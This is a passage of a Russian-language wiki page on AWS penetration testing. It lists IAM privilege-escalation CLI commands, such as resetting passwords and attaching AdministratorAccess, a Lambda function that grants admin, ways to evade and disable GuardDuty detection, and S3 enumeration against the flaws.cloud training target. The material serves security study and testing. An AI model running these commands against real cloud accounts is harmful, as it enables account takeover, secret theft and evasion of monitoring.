&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{&lt;br /&gt;
    &amp;quot;Version&amp;quot;: &amp;quot;2012-10-17&amp;quot;,  //Версия политики&lt;br /&gt;
    &amp;quot;Statement&amp;quot;: [  &lt;br /&gt;
        {&lt;br /&gt;
            &amp;quot;Sid&amp;quot;: &amp;quot;Stmt32894y234276923&amp;quot; //Опционально - уникальный идентификатор&lt;br /&gt;
            &amp;quot;Effect&amp;quot;: &amp;quot;Allow&amp;quot;, //Разрешить или запретить&lt;br /&gt;
            &amp;quot;Action&amp;quot;: [  //Разрешенные/Запрещенные действия&lt;br /&gt;
                &amp;quot;ec2:AttachVolume&amp;quot;,&lt;br /&gt;
                &amp;quot;ec2:DetachVolume&amp;quot;&lt;br /&gt;
            ], &lt;br /&gt;
            &amp;quot;Resource&amp;quot;: [ //На какие ресурсы можно/нельзя совершать действия&lt;br /&gt;
                &amp;quot;arn:aws:ec2:*:*:volume/*&amp;quot;,&lt;br /&gt;
                &amp;quot;arn:aws:ec2:*:*:instance/*&amp;quot;&lt;br /&gt;
            ],&lt;br /&gt;
            &amp;quot;Condition&amp;quot;: { //Опционально - условия срабатывания&lt;br /&gt;
                &amp;quot;ArnEquals&amp;quot;: {&amp;quot;ec2:SourceInstanceARN&amp;quot;: &amp;quot;arn:aws:ec2:*:*:instance/instance-id&amp;quot;}&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    ]&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Определение ролей ==&lt;br /&gt;
&lt;br /&gt;
=== Вручную ===&lt;br /&gt;
TODO команды по определению своих ролей&lt;br /&gt;
&lt;br /&gt;
=== Автоматизированно ===&lt;br /&gt;
&lt;br /&gt;
== Эксплуатация ==&lt;br /&gt;
&lt;br /&gt;
Когда вы определили, какие роли у вас есть, перейдите выше на соответствующий сервис, к которому идет данная роль и прочтите как ее эксплуатировать.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Тут будут отдельные роли, которые не прикреплены ни к одному сервису.&lt;br /&gt;
&lt;br /&gt;
=== Административный доступ ===&lt;br /&gt;
&lt;br /&gt;
Как выглядит роль с административным доступом:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
&amp;quot;Statement&amp;quot;: [&lt;br /&gt;
    {&lt;br /&gt;
      &amp;quot;Effect&amp;quot;: &amp;quot;Allow&amp;quot;,&lt;br /&gt;
      &amp;quot;Action&amp;quot;: [&lt;br /&gt;
        &amp;quot;*&amp;quot;&lt;br /&gt;
      ],&lt;br /&gt;
      &amp;quot;Resource&amp;quot;: &amp;quot;*&amp;quot;&lt;br /&gt;
    }&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Службы =&lt;br /&gt;
&lt;br /&gt;
== IAM ==&lt;br /&gt;
&lt;br /&gt;
Сервис по обеспечению контроля доступа. Подробнее про ролевую модель можно почитать в соответствующей главе.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== iam:UpdateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Сбросить пароль у других пользователей:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam update-login-profile --user-name target_user --password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}&amp;lt;XT5isoE=LB2L^G@{uK&amp;gt;f;/CQQeXSo&amp;gt;}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U&amp;lt;9`O~Z”,jJ[iT-D^(' --no-password-reset-required&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + ec2:RunInstance ====&lt;br /&gt;
&lt;br /&gt;
См. EC2&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + glue:CreateDevEndpoint ====&lt;br /&gt;
&lt;br /&gt;
См. Glue&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение до админа ===&lt;br /&gt;
&lt;br /&gt;
==== iam:AddUserToGroup ====&lt;br /&gt;
&lt;br /&gt;
Добавить юзера в административную группу:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam add-user-to-group --group-name &amp;lt;название_группы&amp;gt; --user-name &amp;lt;логин&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PutUserPolicy ====&lt;br /&gt;
&lt;br /&gt;
Право добавить своб политику к ранее скомпрометированным обьектам. &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam put-user-policy --user-name &amp;lt;логин&amp;gt; --policy-name my_inline_policy --policy-document file://path/to/administrator/policy.json&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:CreateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Привилегия для создания профиля(с паролем)  для аккаунта, выставить новый пароль и перейти под этого пользователя.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam create-login-profile --user-name target_user –password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}&amp;lt;XT5isoE=LB2L^G@{uK&amp;gt;f;/CQQeXSo&amp;gt;}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U&amp;lt;9`O~Z”,jJ[iT-D^(' --no-password-reset-required&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:UpdateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любому пользователю.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-user-policy --user-name my_username --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== iam:AttachGroupPolicy ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любой группе.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-user-policy --user-name my_username --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:AttachRolePolicy ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любой роли.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-role-policy --role-name role_i_can_assume --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:CreatePolicy ====&lt;br /&gt;
&lt;br /&gt;
Создать административную политику.&lt;br /&gt;
&lt;br /&gt;
==== iam:AddUserToGroup ====&lt;br /&gt;
&lt;br /&gt;
Добавить пользователя в группу администраторов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam add-user-to-group --group-name target_group --user-name my_username&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:CreatePolicyVersion + iam:SetDefaultPolicyVersion ====&lt;br /&gt;
&lt;br /&gt;
Позволяет поменять политику, выставленную администраторами сети и применить ее, после чего повысить привилегии у обьекта.&lt;br /&gt;
&lt;br /&gt;
Например, если у вас это право, то вы можете создать произвольную политику, дающую полный доступ и применить ее.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание политики&lt;br /&gt;
aws iam create-policy-version --policy-arn target_policy_arn --policy-document file://path/to/administrator/policy.json --set-as-default&lt;br /&gt;
# Установка политики по умолчанию.&lt;br /&gt;
aws iam set-default-policy-version –policy-arn target_policy_arn –version-id v2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile ====&lt;br /&gt;
&lt;br /&gt;
См. EC2&lt;br /&gt;
&lt;br /&gt;
== GuardDuty ==&lt;br /&gt;
&lt;br /&gt;
Сервис для детектирования атак используя машинное обучение.&lt;br /&gt;
&lt;br /&gt;
Для детекта использует следующие сервисы:&lt;br /&gt;
&lt;br /&gt;
* CloudTrail&lt;br /&gt;
* VPC Flow Logs&lt;br /&gt;
* DNS Logs&lt;br /&gt;
* ...to be continued&lt;br /&gt;
&lt;br /&gt;
=== Обход защиты  ===&lt;br /&gt;
&lt;br /&gt;
Далее идут правила детекта и то, как их можно обойти.&lt;br /&gt;
&lt;br /&gt;
==== UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration ====&lt;br /&gt;
&lt;br /&gt;
Детектит, если AWS-API команды были запущены за пределами EC2 (используя токен этого EC2).&lt;br /&gt;
&lt;br /&gt;
Правило эффективно, если хакер хочет украть токен с EC2 и использовать его вне EC2 (например, если есть только SSRF).&lt;br /&gt;
&lt;br /&gt;
Обход простой: создать свой EC2-инстанс и делать API-запросы с полученными учетными данными жертвы.&lt;br /&gt;
Тогда правило не сработает, даже если учетные данные не принадлежат данной EC2 тк правило проверяет source ip и является ли он EC2.&lt;br /&gt;
&lt;br /&gt;
Может быть для этого выгодно держать проксирующий сервер EC2.&lt;br /&gt;
&lt;br /&gt;
==== UserAgent rules ====&lt;br /&gt;
&lt;br /&gt;
Суть в том, что GuardDuty будет добавлять Alert если AWS-CLI использует UserAgent например Kali. &lt;br /&gt;
Варианты:&lt;br /&gt;
&lt;br /&gt;
* Использовать утилиту pacu (уже есть смена User-Agent)&lt;br /&gt;
&lt;br /&gt;
* Отредактировать botocore(https://github.com/boto/botocore) по пути /usr/local/lib/python3.7/dist-packages/botocore/session.py: поменять platform.release() на строку юзерагента.&lt;br /&gt;
&lt;br /&gt;
=== Роли - Управление ===&lt;br /&gt;
&lt;br /&gt;
Список ролей: https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonguardduty.html&lt;br /&gt;
&lt;br /&gt;
==== guardduty:UpdateDetector ====&lt;br /&gt;
&lt;br /&gt;
Позволяет выключить GuardDuty (ну или редатировать правила):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
aws guardduty update-detector --detector-id &amp;lt;id of detector&amp;gt; --no-enable&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==== guardduty:DeleteDetector ====&lt;br /&gt;
&lt;br /&gt;
Удалить правило детектирования:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
aws guardduty delete-detector --detector-id &amp;lt;id of detector&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== STS (Security Token Service) ==&lt;br /&gt;
&lt;br /&gt;
Сервис, позволяющий запросить временные учетные данные с ограниченными  примилегиями для IAM-пользователей &lt;br /&gt;
&lt;br /&gt;
== KMS (Key Management Service) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для создания криптографических ключей, управления ими и использования их в других сервисах.&lt;br /&gt;
&lt;br /&gt;
Администраторы амазона не смогут получить к ним доступ.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ключи со временем обновляются:&lt;br /&gt;
&lt;br /&gt;
* Customers keys - раз в 365 дней&lt;br /&gt;
&lt;br /&gt;
* AWS keys - раз в 3 года.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Старые ключи также можно будет использовать для расшифровки.&lt;br /&gt;
&lt;br /&gt;
== CloudHSM (Hardware Security Module) ==&lt;br /&gt;
&lt;br /&gt;
Замена KMS для богатых и тех, кто хочит побольше безопасности. Хранилище ключей, прикрепленное к аппаратному решению. &lt;br /&gt;
&lt;br /&gt;
Пишут, что устройство будет закреплено только за вами.&lt;br /&gt;
&lt;br /&gt;
Также можно получить доступ к CloudHSM-Instance по SSH.&lt;br /&gt;
&lt;br /&gt;
== Athena ==&lt;br /&gt;
&lt;br /&gt;
Интерактивный бессерверный сервис, позволяющий анализировать данные хранилища S3 стандартными средствами SQL.&lt;br /&gt;
&lt;br /&gt;
Умеет работать с шифрованными S3 и сохранять шифрованный вывод.&lt;br /&gt;
&lt;br /&gt;
== EBS (Elastic Block Store) ==&lt;br /&gt;
&lt;br /&gt;
Сервис блочного хранилища (просто жесткий диск, который можно примонтировать).&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление сервисом ===&lt;br /&gt;
 &lt;br /&gt;
==== ec2:CreateVolume + ec2:AttachVolume ====&lt;br /&gt;
&lt;br /&gt;
Возможность подключить EBS-Volume/Snapshot к EC2-виртуалке.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание Volume из snapshot'а (если требуется подключить snapshot)&lt;br /&gt;
aws ec2 create-volume –snapshot-id snapshot_id --availability-zone zone&lt;br /&gt;
# Подключение Volume к виртуалке EC2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Далее идем на виртуалку и вводим команды:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Поиск Volume&lt;br /&gt;
lsblk&lt;br /&gt;
# Проверка есть ли на нем данные&lt;br /&gt;
sudo file -s /dev/xvdf&lt;br /&gt;
# форматировать образ под ext4 (если неподходящая файловая система)&lt;br /&gt;
sudo mkfs -t ext4 /dev/xvdf&lt;br /&gt;
# Создаем директорию куда примонтируем позже&lt;br /&gt;
sudo mkdir /tmp/newvolume&lt;br /&gt;
# Монтируем&lt;br /&gt;
sudo mount /dev/xvdf /tmp/newvolume/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Диск будет доступен на /tmp/newvolume.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Lambda ==&lt;br /&gt;
&lt;br /&gt;
Сервис для запуска своего кода в облаке.&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== lambda:UpdateFunctionCode ====&lt;br /&gt;
&lt;br /&gt;
Позволяет поменять запущенный код, тем самым получив контроль над ролями, прикрепленными к этому коду:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws lambda update-function-code --function-name target_function --zip-file fileb://my/lambda/code/zipped.zip&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== lambda:CreateFunction + lambda:InvokeFunction + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет создать функцию и прикрепить к ней произвольную роль, после чего запустить.&lt;br /&gt;
&lt;br /&gt;
Код функции:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
import boto3&lt;br /&gt;
def lambda_handler(event, context):&lt;br /&gt;
    client = boto3.client('iam')&lt;br /&gt;
    response = client.attach_user_policy(&lt;br /&gt;
    UserName='my_username',&lt;br /&gt;
    PolicyArn=&amp;quot;arn:aws:iam::aws:policy/AdministratorAccess&amp;quot;&lt;br /&gt;
    )&lt;br /&gt;
    return response&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Команды для запуска:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание функции&lt;br /&gt;
aws lambda create-function --function-name my_function --runtime python3.6 --role arn_of_lambda_role --handler lambda_function.lambda_handler --code file://my/python/code.py&lt;br /&gt;
# Запуск&lt;br /&gt;
aws lambda invoke --function-name my_function output.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== lambda:GetFunction ====&lt;br /&gt;
&lt;br /&gt;
Также может понадобиться lambda:ListFunctions чтобы не перебирать названия функций.&lt;br /&gt;
&lt;br /&gt;
Позволяет прочитать исходный код функции (в котором например может быть секрет сохранен):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получить список функций&lt;br /&gt;
aws lambda list-functions --profile uploadcreds&lt;br /&gt;
# Получить информацию о Lambda-функции&lt;br /&gt;
aws lambda get-function --function-name &amp;quot;LAMBDA-NAME-HERE-FROM-PREVIOUS-QUERY&amp;quot; --query 'Code.Location' --profile uploadcreds&lt;br /&gt;
# Скачать исходный код по ссылке из предыдущего ответа&lt;br /&gt;
wget -O lambda-function.zip url-from-previous-query --profile uploadcreds&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Glue ==&lt;br /&gt;
&lt;br /&gt;
Бессерверная служба интеграции данных, упрощающая поиск, подготовку и объединение данных для анализа, машинного обучения и разработки приложений.&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== glue:UpdateDevEndpoint ====&lt;br /&gt;
&lt;br /&gt;
Позволяет обновить параметры Glue Development Endpoint, тем самым получив контроль над ролями, прикрепленными к этому Glue Development Endpoint:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# TODO: это не обновление параметров, надо обновить команду&lt;br /&gt;
aws glue --endpoint-name target_endpoint --public-key file://path/to/my/public/ssh/key.pub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== glue:CreateDevEndpoint + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить доступ к ролям, которые прикреплены к любому сервису Glue:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws glue create-dev-endpoint --endpoint-name my_dev_endpoint --role-arn arn_of_glue_service_role --public-key file://path/to/my/public/ssh/key.pub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== S3 ==&lt;br /&gt;
&lt;br /&gt;
Файловое хранилище, доступное по http(s).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{bucket_name}.s3.amazonaws.com&lt;br /&gt;
https://s3.amazonaws.com/{bucket_name}/&lt;br /&gt;
&lt;br /&gt;
# US Standard&lt;br /&gt;
http://s3.amazonaws.com&lt;br /&gt;
# Ireland&lt;br /&gt;
http://s3-eu-west-1.amazonaws.com&lt;br /&gt;
# Northern California&lt;br /&gt;
http://s3-us-west-1.amazonaws.com&lt;br /&gt;
# Singapore&lt;br /&gt;
http://s3-ap-southeast-1.amazonaws.com&lt;br /&gt;
# Tokyo&lt;br /&gt;
http://s3-ap-northeast-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Делать запросы можно:&lt;br /&gt;
&lt;br /&gt;
* В браузере - http(s)&lt;br /&gt;
&lt;br /&gt;
* Используя awscli:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3 ls  s3://flaws.cloud/ [--no-sign-request] [--profile &amp;lt;PROFILE_NAME&amp;gt;] [ --recursive] [--region us-west-2]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
В S3 может использоваться шифрование:&lt;br /&gt;
&lt;br /&gt;
* SSE-KMS - Server-Side с ключами KMS&lt;br /&gt;
&lt;br /&gt;
* SSE-C - Server-Side с ключами заказчика&lt;br /&gt;
&lt;br /&gt;
* CSE-KMS - Client-Side с ключами KMS&lt;br /&gt;
&lt;br /&gt;
* CSE-C - Client-Side с ключами заказчика&lt;br /&gt;
&lt;br /&gt;
=== Сбор информации ===&lt;br /&gt;
&lt;br /&gt;
==== Определение региона ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
$ dig flaws.cloud&lt;br /&gt;
;; ANSWER SECTION:&lt;br /&gt;
flaws.cloud.    5    IN    A    52.218.192.11&lt;br /&gt;
&lt;br /&gt;
$ nslookup 52.218.192.11&lt;br /&gt;
Non-authoritative answer:&lt;br /&gt;
11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
# Итоговый URL будет:&lt;br /&gt;
flaws.cloud.s3-website-us-west-2.amazonaws.com&lt;br /&gt;
flaws.cloud.s3-us-west-2.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Если будет некорректный регион - редиректнет на корректный.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Список файлов ====&lt;br /&gt;
&lt;br /&gt;
На S3-Bukket может быть включен листинг директорий, для этого достаточно перейти в браузере на хранилище и посмотреть возвращенный XML.&lt;br /&gt;
&lt;br /&gt;
Список файлов может быть включен отдельно на определенные директории, поэтому может потребоваться брут директорий используя, например, wfuzz (подстрока AccessDenied).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== s3:ListBucket ====&lt;br /&gt;
&lt;br /&gt;
Посмотреть список файлов в S3-хранилище:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3 ls  s3://flaws.cloud/ [--no-sign-request] [--profile &amp;lt;PROFILE_NAME&amp;gt;] [ --recursive] [--region us-west-2]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== s3:ListAllMyBuckets ====&lt;br /&gt;
&lt;br /&gt;
Посмотреть список всех S3-хранилищ, доступных мне:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3api list-buckets&lt;br /&gt;
aws s3 ls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudFront ==&lt;br /&gt;
&lt;br /&gt;
Сервис сети доставки контента (CDN).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.cloudfront.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== EC2 (Elastic Compute Cloud) ==&lt;br /&gt;
&lt;br /&gt;
EC2 (Amazon Elastic Compute Cloud) == VPS&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Состоит из:&lt;br /&gt;
&lt;br /&gt;
* Instance - название виртуальной машины&lt;br /&gt;
&lt;br /&gt;
* AMI (Amazon Machine Image) - образ виртуальной машины&lt;br /&gt;
&lt;br /&gt;
* SSM Agent - программное обеспечение Amazon, которое запущено на всеx EC2-инстансах, серверах и тд.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
ec2-{ip-seperated}.compute-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSM Agent ===&lt;br /&gt;
&lt;br /&gt;
Как уже выше написано, SSM Agent - программное обеспечение Amazon, которое запущено на всеx EC2-инстансах, серверах и тд.&lt;br /&gt;
&lt;br /&gt;
Его тоже можно выбрать целью атаки&lt;br /&gt;
&lt;br /&gt;
==== MITM ====&lt;br /&gt;
&lt;br /&gt;
Есть возможность вклиниваться в общение от SSM-Агента локально.&lt;br /&gt;
&lt;br /&gt;
PoC: https://github.com/Frichetten/ssm-agent-research/tree/main/ssm-session-interception&lt;br /&gt;
&lt;br /&gt;
Полная статья: https://frichetten.com/blog/ssm-agent-tomfoolery/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== ec2:RunInstance + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет прикрепить существующую роль к скомпрометированной EC2-машине.&lt;br /&gt;
&lt;br /&gt;
1. Запуск машины c новой прикрепленной ролью&lt;br /&gt;
&lt;br /&gt;
2. Подключение к ней&lt;br /&gt;
&lt;br /&gt;
3. Работа с прикрепленной ролью&lt;br /&gt;
&lt;br /&gt;
Создание EC2 с известным SSH-ключем:&lt;br /&gt;
